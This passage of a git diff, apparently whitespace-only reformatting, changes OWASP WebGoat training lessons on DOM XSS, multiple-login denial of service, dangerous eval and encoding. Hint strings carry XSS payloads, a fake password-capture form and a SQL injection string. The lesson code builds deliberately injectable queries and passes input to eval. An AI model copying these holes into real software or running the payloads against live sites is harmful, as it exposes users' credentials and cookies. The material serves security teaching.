ArrayList(); + /** + * Gets the hints attribute of the HelloScreen object + * + * @return The hints value + */ + public List getHints(WebSession s) + { + List hints = new ArrayList(); - hints.add("Stage 1: Try entering the following: " + "<IMG SRC=\"images/logos/owasp.jpg\"/>"); + hints.add("Stage 1: Try entering the following: " + "<IMG SRC=\"images/logos/owasp.jpg\"/>"); - hints.add("Stage 2: Try entering the following: " + "<img src=x onerror=;;alert('XSS') />"); + hints.add("Stage 2: Try entering the following: " + "<img src=x onerror=;;alert('XSS') />"); - hints.add("Stage 3: Try entering the following: " - + "<IFRAME SRC=\"javascript:alert('XSS');\"></IFRAME>"); + hints.add("Stage 3: Try entering the following: " + + "<IFRAME SRC=\"javascript:alert('XSS');\"></IFRAME>"); - hints - .add("Stage 4: Try entering the following: " - + "Please enter your password:<BR><input type = \"password\" name=\"pass\"/><button " - + "onClick=\"javascript:alert('I have your password: ' + pass.value);\">Submit</button><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR>"); + hints + .add("Stage 4: Try entering the following: " + + "Please enter your password:<BR><input type = \"password\" name=\"pass\"/><button " + + "onClick=\"javascript:alert('I have your password: ' + pass.value);\">Submit</button><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR>"); - hints - .add("Stage 5: You will find the JavaScripts in tomcat\\webapps\\WebGoat\\javascript (Standart Version) or in WebContent\\javascript (Developer Version)."); - // Attack Strings: + hints + .add("Stage 5: You will find the JavaScripts in tomcat\\webapps\\WebGoat\\javascript (Standart Version) or in WebContent\\javascript (Developer Version)."); + // Attack Strings: - // + // - // + // - // + // - // Please enter your password:
















+ // Please enter your password:
















- return hints; - } + return hints; + } - /** - * Gets the ranking attribute of the HelloScreen object - * - * @return The ranking value - */ - private final static Integer DEFAULT_RANKING = new Integer(10); + /** + * Gets the ranking attribute of the HelloScreen object + * + * @return The ranking value + */ + private final static Integer DEFAULT_RANKING = new Integer(10); - protected Integer getDefaultRanking() - { - return DEFAULT_RANKING; - } + protected Integer getDefaultRanking() + { + return DEFAULT_RANKING; + } - protected Category getDefaultCategory() - { - return Category.AJAX_SECURITY; - } + protected Category getDefaultCategory() + { + return Category.AJAX_SECURITY; + } - /** - * Gets the title attribute of the HelloScreen object - * - * @return The title value - */ - public String getTitle() - { - return ("LAB: DOM-Based cross-site scripting"); - } + /** + * Gets the title attribute of the HelloScreen object + * + * @return The title value + */ + public String getTitle() + { + return ("LAB: DOM-Based cross-site scripting"); + } - public String getInstructions(WebSession s) - { - String instructions = ""; + public String getInstructions(WebSession s) + { + String instructions = ""; - if (getLessonTracker(s).getStage() == 1) - { - instructions = "STAGE 1:\tFor this exercise, your mission is to deface this website using the image at the following location: OWASP IMAGE"; - } - else if (getLessonTracker(s).getStage() == 2) - { - instructions = "STAGE 2:\tNow, try to create a JavaScript alert using the image tag"; - } - else if (getLessonTracker(s).getStage() == 3) - { - instructions = "STAGE 3:\tNext, try to create a JavaScript alert using the IFRAME tag."; - } - else if (getLessonTracker(s).getStage() == 4) - { - instructions = "STAGE 4:\tUse the following to create a fake login form:

" - + "Please enter your password:<BR><input type = \"password\" name=\"pass\"/><button " - + "onClick=\"javascript:alert('I have your password: ' + pass.value);\">Submit</button><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR>"; - } - else if (getLessonTracker(s).getStage() == 5) - { - instructions = "STAGE 5:\tPerform client-side HTML entity encoding to mitigate the DOM XSS vulnerability. A utility method is provided for you in escape.js."; - } - return (instructions); - } + if (getLessonTracker(s).getStage() == 1) + { + instructions = "STAGE 1:\tFor this exercise, your mission is to deface this website using the image at the following location: OWASP IMAGE"; + } + else if (getLessonTracker(s).getStage() == 2) + { + instructions = "STAGE 2:\tNow, try to create a JavaScript alert using the image tag"; + } + else if (getLessonTracker(s).getStage() == 3) + { + instructions = "STAGE 3:\tNext, try to create a JavaScript alert using the IFRAME tag."; + } + else if (getLessonTracker(s).getStage() == 4) + { + instructions = "STAGE 4:\tUse the following to create a fake login form:

" + + "Please enter your password:<BR><input type = \"password\" name=\"pass\"/><button " + + "onClick=\"javascript:alert('I have your password: ' + pass.value);\">Submit</button><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR>"; + } + else if (getLessonTracker(s).getStage() == 5) + { + instructions = "STAGE 5:\tPerform client-side HTML entity encoding to mitigate the DOM XSS vulnerability. A utility method is provided for you in escape.js."; + } + return (instructions); + } - private String getFileContent(String content) - { - BufferedReader is = null; - StringBuffer sb = new StringBuffer(); + private String getFileContent(String content) + { + BufferedReader is = null; + StringBuffer sb = new StringBuffer(); - try - { - is = new BufferedReader(new FileReader(new File(content))); - String s = null; + try + { + is = new BufferedReader(new FileReader(new File(content))); + String s = null; - while ((s = is.readLine()) != null) - { - sb.append(s); - } - } catch (Exception e) - { - e.printStackTrace(); - } finally - { - if (is != null) - { - try - { - is.close(); - } catch (IOException ioe) - { + while ((s = is.readLine()) != null) + { + sb.append(s); + } + } catch (Exception e) + { + e.printStackTrace(); + } finally + { + if (is != null) + { + try + { + is.close(); + } catch (IOException ioe) + { - } - } - } + } + } + } - return sb.toString(); - } + return sb.toString(); + } - public Element getCredits() - { - return super.getCustomCredits("", ASPECT_LOGO); - } + public Element getCredits() + { + return super.getCustomCredits("", ASPECT_LOGO); + } } diff --git a/src/main/java/org/owasp/webgoat/lessons/DOS_Login.java b/src/main/java/org/owasp/webgoat/lessons/DOS_Login.java index 096344c5e..7f06eef1b 100644 --- a/src/main/java/org/owasp/webgoat/lessons/DOS_Login.java +++ b/src/main/java/org/owasp/webgoat/lessons/DOS_Login.java @@ -57,196 +57,196 @@ import org.owasp.webgoat.session.ParameterNotFoundException; public class DOS_Login extends LessonAdapter { - /** - * Description of the Field - */ - protected final static String PASSWORD = "Password"; + /** + * Description of the Field + */ + protected final static String PASSWORD = "Password"; - /** - * Description of the Field - */ - protected final static String USERNAME = "Username"; + /** + * Description of the Field + */ + protected final static String USERNAME = "Username"; - /** - * Description of the Method - * - * @param s - * Description of the Parameter - * @return Description of the Return Value - */ - protected Element createContent(WebSession s) - { - ElementContainer ec = new ElementContainer(); + /** + * Description of the Method + * + * @param s + * Description of the Parameter + * @return Description of the Return Value + */ + protected Element createContent(WebSession s) + { + ElementContainer ec = new ElementContainer(); - try - { - String username = ""; - String password = ""; - username = s.getParser().getRawParameter(USERNAME); - password = s.getParser().getRawParameter(PASSWORD); + try + { + String username = ""; + String password = ""; + username = s.getParser().getRawParameter(USERNAME); + password = s.getParser().getRawParameter(PASSWORD); - // don;t allow user name from other lessons. it would be too simple. - if (username.equals("jeff") || username.equals("dave")) - { - ec.addElement(new H2("Login Failed: 'jeff' and 'dave' are not valid for this lesson")); - return (ec.addElement(makeLogin(s))); - } + // don;t allow user name from other lessons. it would be too simple. + if (username.equals("jeff") || username.equals("dave")) + { + ec.addElement(new H2("Login Failed: 'jeff' and 'dave' are not valid for this lesson")); + return (ec.addElement(makeLogin(s))); + } - // Check if the login is valid - Connection connection = DatabaseUtilities.getConnection(s); + // Check if the login is valid + Connection connection = DatabaseUtilities.getConnection(s); - String query = "SELECT * FROM user_system_data WHERE user_name = '" + username + "' and password = '" - + password + "'"; - ec.addElement(new StringElement(query)); + String query = "SELECT * FROM user_system_data WHERE user_name = '" + username + "' and password = '" + + password + "'"; + ec.addElement(new StringElement(query)); - try - { - Statement statement = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, - ResultSet.CONCUR_READ_ONLY); - ResultSet results = statement.executeQuery(query); + try + { + Statement statement = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, + ResultSet.CONCUR_READ_ONLY); + ResultSet results = statement.executeQuery(query); - if ((results != null) && (results.first() == true)) - { - ResultSetMetaData resultsMetaData = results.getMetaData(); - ec.addElement(DatabaseUtilities.writeTable(results, resultsMetaData)); - results.last(); + if ((results != null) && (results.first() == true)) + { + ResultSetMetaData resultsMetaData = results.getMetaData(); + ec.addElement(DatabaseUtilities.writeTable(results, resultsMetaData)); + results.last(); - // If they get back more than one user they succeeded - if (results.getRow() >= 1) - { - // Make sure this isn't data from an sql injected query. - if (results.getString(2).equals(username) && results.getString(3).equals(password)) - { - String insertData1 = "INSERT INTO user_login VALUES ( '" + username + "', '" - + s.getUserName() + "' )"; - statement.executeUpdate(insertData1); - } - // check the total count of logins - query = "SELECT * FROM user_login WHERE webgoat_user = '" + s.getUserName() + "'"; - results = statement.executeQuery(query); - results.last(); - // If they get back more than one user they succeeded - if (results.getRow() >= 3) - { - makeSuccess(s); - String deleteData1 = "DELETE from user_login WHERE webgoat_user = '" + s.getUserName() - + "'"; - statement.executeUpdate(deleteData1); - return (new H1("Congratulations! Lesson Completed")); - } + // If they get back more than one user they succeeded + if (results.getRow() >= 1) + { + // Make sure this isn't data from an sql injected query. + if (results.getString(2).equals(username) && results.getString(3).equals(password)) + { + String insertData1 = "INSERT INTO user_login VALUES ( '" + username + "', '" + + s.getUserName() + "' )"; + statement.executeUpdate(insertData1); + } + // check the total count of logins + query = "SELECT * FROM user_login WHERE webgoat_user = '" + s.getUserName() + "'"; + results = statement.executeQuery(query); + results.last(); + // If they get back more than one user they succeeded + if (results.getRow() >= 3) + { + makeSuccess(s); + String deleteData1 = "DELETE from user_login WHERE webgoat_user = '" + s.getUserName() + + "'"; + statement.executeUpdate(deleteData1); + return (new H1("Congratulations! Lesson Completed")); + } - ec.addElement(new H2("Login Succeeded: Total login count: " + results.getRow())); - } - } - else - { - ec.addElement(new H2("Login Failed")); - // check the total count of logins - query = "SELECT * FROM user_login WHERE webgoat_user = '" + s.getUserName() + "'"; - results = statement.executeQuery(query); - results.last(); - ec.addElement(new H2("Successfull login count: " + results.getRow())); + ec.addElement(new H2("Login Succeeded: Total login count: " + results.getRow())); + } + } + else + { + ec.addElement(new H2("Login Failed")); + // check the total count of logins + query = "SELECT * FROM user_login WHERE webgoat_user = '" + s.getUserName() + "'"; + results = statement.executeQuery(query); + results.last(); + ec.addElement(new H2("Successfull login count: " + results.getRow())); - } - } catch (SQLException sqle) - { - ec.addElement(new P().addElement(sqle.getMessage())); - sqle.printStackTrace(); - } - } catch (ParameterNotFoundException pnfe) - { - /** - * Catching this exception prevents the "Error generating - * org.owasp.webgoat.lesson.DOS_Login" message from being displayed on first load. Note - * that if we are missing a parameter in the request, we do not want to continue - * processing and we simply want to display the default login page. - */ - } catch (Exception e) - { - s.setMessage("Error generating " + this.getClass().getName()); - } + } + } catch (SQLException sqle) + { + ec.addElement(new P().addElement(sqle.getMessage())); + sqle.printStackTrace(); + } + } catch (ParameterNotFoundException pnfe) + { + /** + * Catching this exception prevents the "Error generating + * org.owasp.webgoat.lesson.DOS_Login" message from being displayed on first load. Note + * that if we are missing a parameter in the request, we do not want to continue + * processing and we simply want to display the default login page. + */ + } catch (Exception e) + { + s.setMessage("Error generating " + this.getClass().getName()); + } - return (ec.addElement(makeLogin(s))); - } + return (ec.addElement(makeLogin(s))); + } - /** - * Gets the category attribute of the WeakAuthenticationCookie object - * - * @return The category value - */ - protected Category getDefaultCategory() - { - return Category.DOS; - } + /** + * Gets the category attribute of the WeakAuthenticationCookie object + * + * @return The category value + */ + protected Category getDefaultCategory() + { + return Category.DOS; + } - /** - * Gets the hints attribute of the CookieScreen object - * - * @return The hints value - */ - protected List getHints(WebSession s) - { - List hints = new ArrayList(); - hints.add("Use a SQL Injection to obtain the user names. "); - hints - .add("Try to generate this query: SELECT * FROM user_system_data WHERE user_name = 'goober' and password = 'dont_care' or '1' = '1'"); - hints.add("Try "dont_care' or '1' = '1" in the password field"); - return hints; - } + /** + * Gets the hints attribute of the CookieScreen object + * + * @return The hints value + */ + protected List getHints(WebSession s) + { + List hints = new ArrayList(); + hints.add("Use a SQL Injection to obtain the user names. "); + hints + .add("Try to generate this query: SELECT * FROM user_system_data WHERE user_name = 'goober' and password = 'dont_care' or '1' = '1'"); + hints.add("Try "dont_care' or '1' = '1" in the password field"); + return hints; + } - private final static Integer DEFAULT_RANKING = new Integer(90); + private final static Integer DEFAULT_RANKING = new Integer(90); - protected Integer getDefaultRanking() - { - return DEFAULT_RANKING; - } + protected Integer getDefaultRanking() + { + return DEFAULT_RANKING; + } - /** - * Gets the title attribute of the CookieScreen object - * - * @return The title value - */ - public String getTitle() - { - return ("Denial of Service from Multiple Logins"); - } + /** + * Gets the title attribute of the CookieScreen object + * + * @return The title value + */ + public String getTitle() + { + return ("Denial of Service from Multiple Logins"); + } - /** - * Description of the Method - * - * @param s - * Description of the Parameter - * @return Description of the Return Value - */ - protected Element makeLogin(WebSession s) - { - ElementContainer ec = new ElementContainer(); + /** + * Description of the Method + * + * @param s + * Description of the Parameter + * @return Description of the Return Value + */ + protected Element makeLogin(WebSession s) + { + ElementContainer ec = new ElementContainer(); - // add the login fields - Table t = new Table(0).setCellSpacing(0).setCellPadding(0).setBorder(0); + // add the login fields + Table t = new Table(0).setCellSpacing(0).setCellPadding(0).setBorder(0); - if (s.isColor()) - { - t.setBorder(1); - } + if (s.isColor()) + { + t.setBorder(1); + } - TR row1 = new TR(); - TR row2 = new TR(); - row1.addElement(new TD(new StringElement("User Name: "))); - row2.addElement(new TD(new StringElement("Password: "))); + TR row1 = new TR(); + TR row2 = new TR(); + row1.addElement(new TD(new StringElement("User Name: "))); + row2.addElement(new TD(new StringElement("Password: "))); - Input input1 = new Input(Input.TEXT, USERNAME, ""); - Input input2 = new Input(Input.PASSWORD, PASSWORD, ""); - row1.addElement(new TD(input1)); - row2.addElement(new TD(input2)); - t.addElement(row1); - t.addElement(row2); + Input input1 = new Input(Input.TEXT, USERNAME, ""); + Input input2 = new Input(Input.PASSWORD, PASSWORD, ""); + row1.addElement(new TD(input1)); + row2.addElement(new TD(input2)); + t.addElement(row1); + t.addElement(row2); - Element b = ECSFactory.makeButton("Login"); - t.addElement(new TR(new TD(b))); - ec.addElement(t); + Element b = ECSFactory.makeButton("Login"); + t.addElement(new TR(new TD(b))); + ec.addElement(t); - return (ec); - } + return (ec); + } } diff --git a/src/main/java/org/owasp/webgoat/lessons/DangerousEval.java b/src/main/java/org/owasp/webgoat/lessons/DangerousEval.java index 3972668fc..707e00e53 100644 --- a/src/main/java/org/owasp/webgoat/lessons/DangerousEval.java +++ b/src/main/java/org/owasp/webgoat/lessons/DangerousEval.java @@ -53,230 +53,230 @@ import org.owasp.webgoat.session.WebSession; public class DangerousEval extends LessonAdapter { - public final static A ASPECT_LOGO = new A().setHref("http://www.aspectsecurity.com") - .addElement( - new IMG("images/logos/aspect.jpg").setAlt("Aspect Security").setBorder(0).setHspace(0) - .setVspace(0)); + public final static A ASPECT_LOGO = new A().setHref("http://www.aspectsecurity.com") + .addElement( + new IMG("images/logos/aspect.jpg").setAlt("Aspect Security").setBorder(0).setHspace(0) + .setVspace(0)); - public final static String PASSED = "__DANGEROUS_EVAL_PASS"; + public final static String PASSED = "__DANGEROUS_EVAL_PASS"; - /** - * Description of the Method - * - * @param s - * Description of the Parameter - * @return Description of the Return Value - */ + /** + * Description of the Method + * + * @param s + * Description of the Parameter + * @return Description of the Return Value + */ - protected Element createContent(WebSession s) - { - ElementContainer ec = new ElementContainer(); - String regex1 = "^[0-9]{3}$";// any three digits - Pattern pattern1 = Pattern.compile(regex1); + protected Element createContent(WebSession s) + { + ElementContainer ec = new ElementContainer(); + String regex1 = "^[0-9]{3}$";// any three digits + Pattern pattern1 = Pattern.compile(regex1); - try - { - checkSuccess(s); + try + { + checkSuccess(s); - String param1 = s.getParser().getRawParameter("field1", "111"); - // String param2 = HtmlEncoder.encode(s.getParser().getRawParameter("field2", "4128 3214 - // 0002 1999")); - float quantity = 1.0f; - float total = 0.0f; - float runningTotal = 0.0f; + String param1 = s.getParser().getRawParameter("field1", "111"); + // String param2 = HtmlEncoder.encode(s.getParser().getRawParameter("field2", "4128 3214 + // 0002 1999")); + float quantity = 1.0f; + float total = 0.0f; + float runningTotal = 0.0f; - // FIXME: encode output of field2, then s.setMessage( field2 ); - ec.addElement(""); - // - ec.addElement(new HR().setWidth("90%")); - ec.addElement(new Center().addElement(new H1().addElement("Shopping Cart "))); - Table t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(1).setWidth("90%").setAlign("center"); + // FIXME: encode output of field2, then s.setMessage( field2 ); + ec.addElement(""); + // + ec.addElement(new HR().setWidth("90%")); + ec.addElement(new Center().addElement(new H1().addElement("Shopping Cart "))); + Table t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(1).setWidth("90%").setAlign("center"); - if (s.isColor()) - { - t.setBorder(1); - } + if (s.isColor()) + { + t.setBorder(1); + } - TR tr = new TR(); - tr.addElement(new TH().addElement("Shopping Cart Items -- To Buy Now").setWidth("80%")); - tr.addElement(new TH().addElement("Price").setWidth("10%")); - tr.addElement(new TH().addElement("Quantity").setWidth("3%")); - tr.addElement(new TH().addElement("Total").setWidth("7%")); - t.addElement(tr); + TR tr = new TR(); + tr.addElement(new TH().addElement("Shopping Cart Items -- To Buy Now").setWidth("80%")); + tr.addElement(new TH().addElement("Price").setWidth("10%")); + tr.addElement(new TH().addElement("Quantity").setWidth("3%")); + tr.addElement(new TH().addElement("Total").setWidth("7%")); + t.addElement(tr); - tr = new TR(); - tr.addElement(new TD().addElement("Studio RTA - Laptop/Reading Cart with Tilting Surface - Cherry ")); - tr.addElement(new TD().addElement("69.99").setAlign("right")); - tr.addElement(new TD().addElement(new Input(Input.TEXT, "QTY1", s.getParser().getStringParameter("QTY1", "1"))).setAlign("right")); - quantity = s.getParser().getFloatParameter("QTY1", 0.0f); - total = quantity * 69.99f; - runningTotal += total; - tr.addElement(new TD().addElement("$" + total)); - t.addElement(tr); - tr = new TR(); - tr.addElement(new TD().addElement("Dynex - Traditional Notebook Case")); - tr.addElement(new TD().addElement("27.99").setAlign("right")); - tr.addElement(new TD().addElement(new Input(Input.TEXT, "QTY2", s.getParser().getStringParameter("QTY2", "1"))).setAlign("right")); - quantity = s.getParser().getFloatParameter("QTY2", 0.0f); - total = quantity * 27.99f; - runningTotal += total; - tr.addElement(new TD().addElement("$" + total)); - t.addElement(tr); - tr = new TR(); - tr.addElement(new TD().addElement("Hewlett-Packard - Pavilion Notebook with Intel� Centrino�")); - tr.addElement(new TD().addElement("1599.99").setAlign("right")); - tr.addElement(new TD().addElement(new Input(Input.TEXT, "QTY3", s.getParser().getStringParameter("QTY3", "1"))).setAlign("right")); - quantity = s.getParser().getFloatParameter("QTY3", 0.0f); - total = quantity * 1599.99f; - runningTotal += total; - tr.addElement(new TD().addElement("$" + total)); - t.addElement(tr); - tr = new TR(); - tr.addElement(new TD().addElement("3 - Year Performance Service Plan $1000 and Over ")); - tr.addElement(new TD().addElement("299.99").setAlign("right")); + tr = new TR(); + tr.addElement(new TD().addElement("Studio RTA - Laptop/Reading Cart with Tilting Surface - Cherry ")); + tr.addElement(new TD().addElement("69.99").setAlign("right")); + tr.addElement(new TD().addElement(new Input(Input.TEXT, "QTY1", s.getParser().getStringParameter("QTY1", "1"))).setAlign("right")); + quantity = s.getParser().getFloatParameter("QTY1", 0.0f); + total = quantity * 69.99f; + runningTotal += total; + tr.addElement(new TD().addElement("$" + total)); + t.addElement(tr); + tr = new TR(); + tr.addElement(new TD().addElement("Dynex - Traditional Notebook Case")); + tr.addElement(new TD().addElement("27.99").setAlign("right")); + tr.addElement(new TD().addElement(new Input(Input.TEXT, "QTY2", s.getParser().getStringParameter("QTY2", "1"))).setAlign("right")); + quantity = s.getParser().getFloatParameter("QTY2", 0.0f); + total = quantity * 27.99f; + runningTotal += total; + tr.addElement(new TD().addElement("$" + total)); + t.addElement(tr); + tr = new TR(); + tr.addElement(new TD().addElement("Hewlett-Packard - Pavilion Notebook with Intel� Centrino�")); + tr.addElement(new TD().addElement("1599.99").setAlign("right")); + tr.addElement(new TD().addElement(new Input(Input.TEXT, "QTY3", s.getParser().getStringParameter("QTY3", "1"))).setAlign("right")); + quantity = s.getParser().getFloatParameter("QTY3", 0.0f); + total = quantity * 1599.99f; + runningTotal += total; + tr.addElement(new TD().addElement("$" + total)); + t.addElement(tr); + tr = new TR(); + tr.addElement(new TD().addElement("3 - Year Performance Service Plan $1000 and Over ")); + tr.addElement(new TD().addElement("299.99").setAlign("right")); - tr.addElement(new TD().addElement(new Input(Input.TEXT, "QTY4", s.getParser().getStringParameter("QTY4", "1"))).setAlign("right")); - quantity = s.getParser().getFloatParameter("QTY4", 0.0f); - total = quantity * 299.99f; - runningTotal += total; - tr.addElement(new TD().addElement("$" + total)); - t.addElement(tr); + tr.addElement(new TD().addElement(new Input(Input.TEXT, "QTY4", s.getParser().getStringParameter("QTY4", "1"))).setAlign("right")); + quantity = s.getParser().getFloatParameter("QTY4", 0.0f); + total = quantity * 299.99f; + runningTotal += total; + tr.addElement(new TD().addElement("$" + total)); + t.addElement(tr); - ec.addElement(t); + ec.addElement(t); - t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(0).setWidth("90%").setAlign("center"); + t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(0).setWidth("90%").setAlign("center"); - if (s.isColor()) - { - t.setBorder(1); - } + if (s.isColor()) + { + t.setBorder(1); + } - ec.addElement(new BR()); + ec.addElement(new BR()); - tr = new TR(); - tr.addElement(new TD().addElement("The total charged to your credit card:")); - tr.addElement(new TD().addElement("$" + runningTotal)); + tr = new TR(); + tr.addElement(new TD().addElement("The total charged to your credit card:")); + tr.addElement(new TD().addElement("$" + runningTotal)); - Input b = new Input(); - b.setType(Input.BUTTON); - b.setValue("Update Cart"); - b.addAttribute("onclick", "purchase('lessons/Ajax/eval.jsp');"); + Input b = new Input(); + b.setType(Input.BUTTON); + b.setValue("Update Cart"); + b.addAttribute("onclick", "purchase('lessons/Ajax/eval.jsp');"); - tr.addElement(new TD().addElement(b)); - t.addElement(tr); - tr = new TR(); - tr.addElement(new TD().addElement(" ").setColSpan(2)); - t.addElement(tr); - tr = new TR(); - tr.addElement(new TD().addElement("Enter your credit card number:")); - tr.addElement(new TD() - .addElement("")); - t.addElement(tr); - tr = new TR(); - tr.addElement(new TD().addElement("Enter your three digit access code:")); - tr.addElement(new TD().addElement("")); - // tr.addElement(new TD().addElement(new Input(Input.TEXT, "field1",param1))); - t.addElement(tr); + tr.addElement(new TD().addElement(b)); + t.addElement(tr); + tr = new TR(); + tr.addElement(new TD().addElement(" ").setColSpan(2)); + t.addElement(tr); + tr = new TR(); + tr.addElement(new TD().addElement("Enter your credit card number:")); + tr.addElement(new TD() + .addElement("")); + t.addElement(tr); + tr = new TR(); + tr.addElement(new TD().addElement("Enter your three digit access code:")); + tr.addElement(new TD().addElement("")); + // tr.addElement(new TD().addElement(new Input(Input.TEXT, "field1",param1))); + t.addElement(tr); - b = new Input(); - b.setType(Input.BUTTON); - b.setValue("Purchase"); - b.addAttribute("onclick", "purchase('lessons/Ajax/eval.jsp');"); + b = new Input(); + b.setType(Input.BUTTON); + b.setValue("Purchase"); + b.addAttribute("onclick", "purchase('lessons/Ajax/eval.jsp');"); - tr = new TR(); - tr.addElement(new TD().addElement(b).setColSpan(2).setAlign("right")); - t.addElement(tr); + tr = new TR(); + tr.addElement(new TD().addElement(b).setColSpan(2).setAlign("right")); + t.addElement(tr); - ec.addElement(t); - ec.addElement(new BR()); - ec.addElement(new HR().setWidth("90%")); + ec.addElement(t); + ec.addElement(new BR()); + ec.addElement(new HR().setWidth("90%")); - } catch (Exception e) - { - s.setMessage("Error generating " + this.getClass().getName()); - e.printStackTrace(); - } - return (ec); - } + } catch (Exception e) + { + s.setMessage("Error generating " + this.getClass().getName()); + e.printStackTrace(); + } + return (ec); + } - /** - * DOCUMENT ME! - * - * @return DOCUMENT ME! - */ - protected Category getDefaultCategory() - { - return Category.AJAX_SECURITY; - } + /** + * DOCUMENT ME! + * + * @return DOCUMENT ME! + */ + protected Category getDefaultCategory() + { + return Category.AJAX_SECURITY; + } - /** - * Gets the hints attribute of the AccessControlScreen object - * - * @return The hints value - */ - protected List getHints(WebSession s) - { - List hints = new ArrayList(); - hints.add("The lesson is similar to the standard reflected cross-site scripting lesson."); - hints.add("The access code parameter is vulnerable to a reflected cross-site scripting problem."); - hints.add("The usual <SCRIPT>alert(document.cookie);</SCRIPT> will not work in this lesson. Why?"); - hints.add("User-supplied data is landing in the Javascript eval() function. Your attack will not require the < and > characters."); - hints.add("In order to pass this lesson, you must 'alert' the document.cookie."); - hints.add("Try 123');alert(document.cookie);('"); - return hints; - } + /** + * Gets the hints attribute of the AccessControlScreen object + * + * @return The hints value + */ + protected List getHints(WebSession s) + { + List hints = new ArrayList(); + hints.add("The lesson is similar to the standard reflected cross-site scripting lesson."); + hints.add("The access code parameter is vulnerable to a reflected cross-site scripting problem."); + hints.add("The usual <SCRIPT>alert(document.cookie);</SCRIPT> will not work in this lesson. Why?"); + hints.add("User-supplied data is landing in the Javascript eval() function. Your attack will not require the < and > characters."); + hints.add("In order to pass this lesson, you must 'alert' the document.cookie."); + hints.add("Try 123');alert(document.cookie);('"); + return hints; + } // - /** - * Gets the instructions attribute of the WeakAccessControl object - * - * @return The instructions value - */ - public String getInstructions(WebSession s) - { - String instructions = "For this exercise, your mission is to come up with some input containing a script. You have to try to get this page to reflect that input back to your browser, which will execute the script. In order to pass this lesson, you must 'alert()' document.cookie."; - return (instructions); - } + // xmlHttp.send();str1=xmlHttp.responseText;document.write(str1);} + /** + * Gets the instructions attribute of the WeakAccessControl object + * + * @return The instructions value + */ + public String getInstructions(WebSession s) + { + String instructions = "For this exercise, your mission is to come up with some input containing a script. You have to try to get this page to reflect that input back to your browser, which will execute the script. In order to pass this lesson, you must 'alert()' document.cookie."; + return (instructions); + } - private final static Integer DEFAULT_RANKING = new Integer(120); + private final static Integer DEFAULT_RANKING = new Integer(120); - protected Integer getDefaultRanking() - { - return DEFAULT_RANKING; - } + protected Integer getDefaultRanking() + { + return DEFAULT_RANKING; + } - /** - * Gets the title attribute of the AccessControlScreen object - * - * @return The title value - */ - public String getTitle() - { - return "Dangerous Use of Eval"; - } + /** + * Gets the title attribute of the AccessControlScreen object + * + * @return The title value + */ + public String getTitle() + { + return "Dangerous Use of Eval"; + } - public Element getCredits() - { - return super.getCustomCredits("", ASPECT_LOGO); - } + public Element getCredits() + { + return super.getCustomCredits("", ASPECT_LOGO); + } - /** - * Check to see if JSP says they passed the lesson. - * - * @param s - */ - private void checkSuccess(WebSession s) - { - javax.servlet.http.HttpSession session = s.getRequest().getSession(); + /** + * Check to see if JSP says they passed the lesson. + * + * @param s + */ + private void checkSuccess(WebSession s) + { + javax.servlet.http.HttpSession session = s.getRequest().getSession(); - if (session.getAttribute(PASSED) != null) - { - makeSuccess(s); + if (session.getAttribute(PASSED) != null) + { + makeSuccess(s); - session.removeAttribute(PASSED); - } - } + session.removeAttribute(PASSED); + } + } } diff --git a/src/main/java/org/owasp/webgoat/lessons/Encoding.java b/src/main/java/org/owasp/webgoat/lessons/Encoding.java index 0040717bf..677473091 100644 --- a/src/main/java/org/owasp/webgoat/lessons/Encoding.java +++ b/src/main/java/org/owasp/webgoat/lessons/Encoding.java @@ -66,783 +66,783 @@ import org.owasp.webgoat.util.HtmlEncoder; public class Encoding extends LessonAdapter { - public final static A ASPECT_LOGO = new A().setHref("http://www.aspectsecurity.com") - .addElement( - new IMG("images/logos/aspect.jpg").setAlt("Aspect Security").setBorder(0).setHspace(0) - .setVspace(0)); - - private final static String INPUT = "input"; + public final static A ASPECT_LOGO = new A().setHref("http://www.aspectsecurity.com") + .addElement( + new IMG("images/logos/aspect.jpg").setAlt("Aspect Security").setBorder(0).setHspace(0) + .setVspace(0)); + + private final static String INPUT = "input"; - private final static String KEY = "key"; + private final static String KEY = "key"; - // local encoders + // local encoders - private static sun.misc.BASE64Decoder decoder = new sun.misc.BASE64Decoder(); + private static sun.misc.BASE64Decoder decoder = new sun.misc.BASE64Decoder(); - private static sun.misc.BASE64Encoder encoder = new sun.misc.BASE64Encoder(); + private static sun.misc.BASE64Encoder encoder = new sun.misc.BASE64Encoder(); - // encryption constant + // encryption constant - private static byte[] salt = { (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, - (byte) 0x00, (byte) 0x00 }; + private static byte[] salt = { (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, + (byte) 0x00, (byte) 0x00 }; - /** - * Returns the base 64 decoding of a string. - * - * @param str - * Description of the Parameter - * @return Description of the Return Value - * @exception IOException - * Description of the Exception - */ + /** + * Returns the base 64 decoding of a string. + * + * @param str + * Description of the Parameter + * @return Description of the Return Value + * @exception IOException + * Description of the Exception + */ - public static String base64Decode(String str) throws IOException - { + public static String base64Decode(String str) throws IOException + { - byte[] b = decoder.decodeBuffer(str); + byte[] b = decoder.decodeBuffer(str); - return (new String(b)); - } + return (new String(b)); + } - /** - * Description of the Method - * - * @param c - * Description of the Parameter - * @return Description of the Return Value - * @exception IOException - * Description of the Exception - */ + /** + * Description of the Method + * + * @param c + * Description of the Parameter + * @return Description of the Return Value + * @exception IOException + * Description of the Exception + */ - public static String base64Decode(char[] c) throws IOException - { + public static String base64Decode(char[] c) throws IOException + { - return base64Decode(new String(c)); - } + return base64Decode(new String(c)); + } - /** - * Description of the Method - * - * @param c - * Description of the Parameter - * @return Description of the Return Value - */ + /** + * Description of the Method + * + * @param c + * Description of the Parameter + * @return Description of the Return Value + */ - public static String base64Encode(char[] c) - { + public static String base64Encode(char[] c) + { - return base64Encode(new String(c)); - } + return base64Encode(new String(c)); + } - /** - * Returns the base 64 encoding of a string. - * - * @param str - * Description of the Parameter - * @return Description of the Return Value - */ + /** 